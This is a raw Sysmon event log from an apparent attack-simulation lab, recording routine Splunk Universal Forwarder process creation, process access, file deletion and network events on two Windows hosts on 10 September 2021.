15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016900Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016899Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-734C-613B-0D05-00000000F101}3424C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016898Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016897Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.075{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734C-613B-0D05-00000000F101}3424C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016896Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:32.076{625C326B-734C-613B-0D05-00000000F101}3424C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000052893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:33.946{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BFAA7FA9515F4A5D7FB3E6E150072439,SHA256=CEE3188B136197D97B6A67B45F2B27C90F48D40D3678F81DDBBAEB11F4383F9C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000016941Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.966{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=67E0B3BC901C62A73DD189C8786D2C90,SHA256=C802759D19F22A66AA2350C6D04598E90AF24BC92B01EFD27790DF3A4FFCB472,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000052892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:30.364{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59631-false10.0.1.12-8000- 10341000x800000000000000016940Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734D-613B-0F05-00000000F101}1512C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016939Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016938Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016937Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016936Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016935Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016934Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016933Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016932Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016931Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016930Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-734D-613B-0F05-00000000F101}1512C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016929Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-734D-613B-0F05-00000000F101}1512C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016928Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.857{625C326B-734D-613B-0F05-00000000F101}1512C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000016927Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:33.622{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D13A5A8E8D2486F9BD2A91C94FE51E50,SHA256=C5119E7F52241CAB4D33119F8B99145CB25D81AAF0451C20E346F719A06B4BBF,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000016926Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:31.406{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50324-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000016943Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:34.872{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=41926FB821526D455A38BF45FEBF355D,SHA256=876001883D0612FEC8B1B0681F5BEC5D5F549F61E19F9B861C19C4B943FBDC23,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000016942Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:34.060{625C326B-734D-613B-0F05-00000000F101}15123080C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000052894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:01:35.010{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=97319972166AA8EADF0A6EDD7C130B58,SHA256=958352536B8D9DE2F7810E798D038B2258730AFA4ABDFA418E99F3C10E35C467,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016972Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.841{625C326B-734F-613B-1105-00000000F101}27002548C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016971Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-734F-613B-1105-00000000F101}2700C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016970Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016969Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:01:35.607{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016968Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 